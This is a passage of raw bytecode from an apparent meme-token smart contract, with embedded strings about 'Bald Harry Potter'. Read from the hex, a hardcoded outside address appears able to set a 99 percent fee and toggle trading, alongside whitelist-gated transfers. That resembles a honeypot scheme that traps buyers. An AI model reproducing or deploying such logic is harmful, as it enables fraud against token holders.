ffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6d91906130fa565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ddd5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611e0c5750600b5f9054906101000a900460ff16158015611e0b5750600b60019054906101000a900460ff165b5b80611ecd5750600b5f9054906101000a900460ff168015611e735750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ecc575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611f31575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611f3057505f600a54145b5b611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790613338565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611fb9575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ff0575f80fd5b6120408360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120d18360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161216f91906130fa565b60405180910390a3600191505092915050565b73cb8ba9959883cbd9533eab444c6bf4fbbfe48e6f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fb90613706565b60405180910390fd5b600b5f9054906101000a900460ff1615612253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224a9061376e565b60405180910390fd5b5f8214612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c906137d6565b60405180910390fd5b606381146122d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cf9061383e565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161234c92919061385c565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806123ff5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061242e5750600b5f9054906101000a900460ff1615801561242d5750600b60019054906101000a900460ff165b5b806124ef5750600b5f9054906101000a900460ff1680156124955750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124ee575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612553575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561255257505f600a54145b5b612592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258990613338565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260990613496565b60405180910390fd5b600b60019054906101000a900460ff1615612a12575f808390505f600a5411801561268a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156126dd5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127225761270a60646126fc600a5487612dbc90919063ffffffff16565b612e3390919063ffffffff16565b915061271f8285612e8a90919063ffffffff16565b90505b6127728460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128248160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161290491906130fa565b60405180910390a35f821115612a0b576129648260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a0291906130fa565b60405180910390a35b5050612bfd565b612a628260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612b148260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bf491906130fa565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c87906134fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf5906138cd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612dcc575f9050612e2d565b5f8284612dd99190613918565b9050828482612de89190613986565b14612e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1f90613a00565b60405180910390fd5b809150505b92915050565b5f808211612e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6d90613a68565b60405180910390fd5b8183612e829190613986565b905092915050565b5f82821115612ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec590613ad0565b60405180910390fd5b8183612eda9190613aee565b905092915050565b5f808284612ef09190613b21565b905083811015612f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2c90613b9e565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f76578082015181840152602081019050612f5b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612f9b82612f3f565b612fa58185612f49565b9350612fb5818560208601612f59565b612fbe81612f81565b840191505092915050565b5f6020820190508181035f830152612fe18184612f91565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61301682612fed565b9050919050565b6130268161300c565b8114613030575f80fd5b50565b5f813590506130418161301d565b92915050565b5f819050919050565b61305981613047565b8114613063575f80fd5b50565b5f8135905061307481613050565b92915050565b5f80604083850312156130905761308f612fe9565b5b5f61309d85828601613033565b92505060206130ae85828601613066565b9150509250929050565b5f8115159050919050565b6130cc816130b8565b82525050565b5f6020820190506130e55f8301846130c3565b92915050565b6130f481613047565b82525050565b5f60208201905061310d5f8301846130eb565b92915050565b5f805f6060848603121561312a57613129612fe9565b5b5f61313786828701613033565b935050602061314886828701613033565b925050604061315986828701613066565b9150509250925092565b5f60ff82169050919050565b61317881613163565b82525050565b5f6020820190506131915f83018461316f565b92915050565b5f602082840312156131ac576131ab612fe9565b5b5f6131b984828501613033565b91505092915050565b6131cb8161300c565b82525050565b5f6020820190506131e45f8301846131c2565b92915050565b5f8060408385031215613200576131ff612fe9565b5b5f61320d85828601613066565b925050602061321e85828601613066565b9150509250929050565b5f806040838503121561323e5761323d612fe9565b5b5f61324b85828601613033565b925050602061325c85828601613033565b9150509250929050565b5f6020828403121561327b5761327a612fe9565b5b5f61328884828501613066565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806132d557607f821691505b6020821081036132e8576132e7613291565b5b50919050565b7f42414c44485000000000000000000000000000000000000000000000000000005f82015250565b5f613322600683612f49565b915061332d826132ee565b602082019050919050565b5f6020820190508181035f83015261334f81613316565b9050919050565b7f564f4c44454d4f525420495320534341524544204d4f5245205448414e2045565f8201527f4552204245464f52450000000000000000000000000000000000000000000000602082015250565b5f6133b0602983612f49565b91506133bb82613356565b604082019050919050565b5f6020820190508181035f8301526133dd816133a4565b9050919050565b7f2442414c444850000000000000000000000000000000000000000000000000005f82015250565b5f613418600783612f49565b9150613423826133e4565b602082019050919050565b5f6020820190508181035f8301526134458161340c565b9050919050565b7f42414c44484152525900000000000000000000000000000000000000000000005f82015250565b5f613480600983612f49565b915061348b8261344c565b602082019050919050565b5f6020820190508181035f8301526134ad81613474565b9050919050565b7f4953204f4e2054484520434841494e00000000000000000000000000000000005f82015250565b5f6134e8600f83612f49565b91506134f3826134b4565b602082019050919050565b5f6020820190508181035f830152613515816134dc565b9050919050565b7f4841525259495342414c440000000000000000000000000000000000000000005f82015250565b5f613550600b83612f49565b915061355b8261351c565b602082019050919050565b5f6020820190508181035f83015261357d81613544565b9050919050565b7f4e4f2048414952204c45465400000000000000000000000000000000000000005f82015250565b5f6135b8600c83612f49565b91506135c382613584565b602082019050919050565b5f6020820190508181035f8301526135e5816135ac565b9050919050565b7f4f4e2048415252595320484541440000000000000000000000000000000000005f82015250565b5f613620600e83612f49565b915061362b826135ec565b602082019050919050565b5f6020820190508181035f83015261364d81613614565b9050919050565b7f484152525942414c4400000000000000000000000000000000000000000000005f82015250565b5f613688600983612f49565b915061369382613654565b602082019050919050565b5f6020820190508181035f8301526136b58161367c565b9050919050565b7f504f54544552495342414c4400000000000000000000000000000000000000005f82015250565b5f6136f0600c83612f49565b91506136fb826136bc565b602082019050919050565b5f6020820190508181035f83015261371d816136e4565b9050919050565b7f485042414c4400000000000000000000000000000000000000000000000000005f82015250565b5f613758600683612f49565b915061376382613724565b602082019050919050565b5f6020820190508181035f8301526137858161374c565b9050919050565b7f48415252592049532042414c44204e4f572121000000000000000000000000005f82015250565b5f6137c0601383612f49565b91506137cb8261378c565b602082019050919050565b5f6020820190508181035f8301526137ed816137b4565b9050919050565b7f2442414c444841525259595959000000000000000000000000000000000000005f82015250565b5f613828600d83612f49565b9150613833826137f4565b602082019050919050565b5f6020820190508181035f8301526138558161381c565b9050919050565b5f60408201905061386f5f8301856130eb565b61387c60208301846130eb565b9392505050565b7f2442414c444841525259504f54544552000000000000000000000000000000005f82015250565b5f6138b7601083612f49565b91506138c282613883565b602082019050919050565b5f6020820190508181035f8301526138e4816138ab565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61392282613047565b915061392d83613047565b925082820261393b81613047565b91508282048414831517613952576139516138eb565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61399082613047565b915061399b83613047565b9250826139ab576139aa613959565b5b828204905092915050565b7f46524f4d204e4f57204f4e0000000000000000000000000000000000000000005f82015250565b5f6139ea600b83612f49565b91506139f5826139b6565b602082019050919050565b5f6020820190508181035f830152613a17816139de565b9050919050565b7f464f5245564552000000000000000000000000000000000000000000000000005f82015250565b5f613a52600783612f49565b9150613a5d82613a1e565b602082019050919050565b5f6020820190508181035f830152613a7f81613a46565b9050919050565b7f484152525920504f5454455200000000000000000000000000000000000000005f82015250565b5f613aba600c83612f49565b9150613ac582613a86565b602082019050919050565b5f6020820190508181035f830152613ae781613aae565b9050919050565b5f613af882613047565b9150613b0383613047565b9250828203905081811115613b1b57613b1a6138eb565b5b92915050565b5f613b2b82613047565b9150613b3683613047565b9250828201905080821115613b4e57613b4d6138eb565b5b92915050565b7f49532042414c44000000000000000000000000000000000000000000000000005f82015250565b5f613b88600783612f49565b9150613b9382613b54565b602082019050919050565b5f6020820190508181035f830152613bb581613b7c565b905091905056fea2646970667358221220e9cf6f7ba796ee20dcdbeca4afde4f3da1d8e958df576536c333f15bba9e780864736f6c63430008150033000000000000000000000000cb8ba9959883cbd9533eab444c6bf4fbbfe48e6f000000000000000000010b46c6cdd6e3e0828f4db456ff0c8e9fffffffffffff

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063715018a6116100b5578063a9059cbb1161006e578063a9059cbb14610442578063b390c0ab1461047e578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b8063715018a61461038e5780638da5cb5b146103a457806395d89b41146103ce5780639975038c146103f8578063a64e4f8a1461040e578063a6f2ae3a146104385761014a565b8063313ce56711610107578063313ce5671461026e5780633f4218e01461029857806347062402146102d457806347b5dd54146102fe57806364bcf5f41461032857806370a08231146103525761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806325e0e4d01461021a5780632b14ca5614610244575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612fc9565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061307a565b6105e7565b6040516101ab91906130d2565b60405180910390f35b3480156101bf575f80fd5b506101c86106d4565b6040516101d591906130fa565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190613113565b6106da565b60405161021191906130d2565b60405180910390f35b348015610225575f80fd5b5061022e611226565b60405161023b91906130d2565b60405180910390f35b34801561024f575f80fd5b50610258611238565b60405161026591906130fa565b60405180910390f35b348015610279575f80fd5b5061028261123e565b60405161028f919061317e565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b99190613197565b611250565b6040516102cb91906130d2565b60405180910390f35b3480156102df575f80fd5b506102e861126d565b6040516102f591906130fa565b60405180910390f35b348015610309575f80fd5b50610312611273565b60405161031f91906130fa565b60405180910390f35b348015610333575f80fd5b5061033c611279565b60405161034991906130d2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190613197565b61128c565b60405161038591906130fa565b60405180910390f35b348015610399575f80fd5b506103a26112a1565b005b3480156103af575f80fd5b506103b86113ed565b6040516103c591906131d1565b60405180910390f35b3480156103d9575f80fd5b506103e2611412565b6040516103ef9190612fc9565b60405180910390f35b348015610403575f80fd5b5061040c61149e565b005b348015610419575f80fd5b50610422611724565b60405161042f91906130d2565b60405180910390f35b610440611737565b005b34801561044d575f80fd5b506104686004803603810190610463919061307a565b611d7a565b60405161047591906130d2565b60405180910390f35b348015610489575f80fd5b506104a4600480360381019061049f91906131ea565b612182565b005b3480156104b1575f80fd5b506104ba612358565b6040516104c791906131d1565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613228565b61237d565b60405161050391906130fa565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190613266565b61239d565b005b34801561053f575f80fd5b5061055a60048036038101906105559190613197565b612c01565b005b5f8054610568906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906132be565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c291906130fa565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff168061073d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061076c5750600b5f9054906101000a900460ff1615801561076b5750600b60019054906101000a900460ff165b5b8061082d5750600b5f9054906101000a900460ff1680156107d35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561082c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610891575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561089057505f600a54145b5b6108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790613338565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610947906133c6565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a029061342e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7090613496565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610a9b57505f600a54115b8015610af4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b475750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610b8c57610b746064610b66600a5488612dbc90919063ffffffff16565b612e3390919063ffffffff16565b9150610b898286612e8a90919063ffffffff16565b90505b610bdc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c6d8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d0b91906130fa565b60405180910390a35f821115610f5a575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e6157610db68360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e5491906130fa565b60405180910390a3610f58565b610eb18360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f4f91906130fa565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561102e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611218576110be8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161120f91906130fa565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906134fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461141f906132be565b80601f016020809104026020016040519081016040528092919081815260200182805461144b906132be565b80156114965780601f1061146d57610100808354040283529160200191611496565b820191905f5260205f20905b81548152906001019060200180831161147957829003601f168201915b505050505081565b600b5f9054906101000a900460ff166114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613566565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906135ce565b60405180910390fd5b5f600854116115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b690613636565b60405180910390fd5b6115d6600854600254612ee290919063ffffffff16565b60028190555061164f60085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161171a91906130fa565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806117995750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117c85750600b5f9054906101000a900460ff161580156117c75750600b60019054906101000a900460ff165b5b806118895750600b5f9054906101000a900460ff16801561182f5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611888575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806118ed575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156118ec57505f600a54145b5b61192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390613338565b60405180910390fd5b5f341161196e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119659061369e565b60405180910390fd5b5f3490505f6009541115611c1c575f6119a5606461199760095485612dbc90919063ffffffff16565b612e3390919063ffffffff16565b90505f6119bb8284612e8a90919063ffffffff16565b9050611a2e8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0e91906130fa565b60405180910390a35f821115611c1557611b6e8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0c91906130fa565b60405180910390a35b5050611d76565b611c8d8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6d91906130fa565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ddd5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611e0c5750600b5f9054906101000a900460ff16158015611e0b5750600b60019054906101000a900460ff165b5b80611ecd5750600b5f9054906101000a900460ff168015611e735750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ecc575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173fffffffffffffffff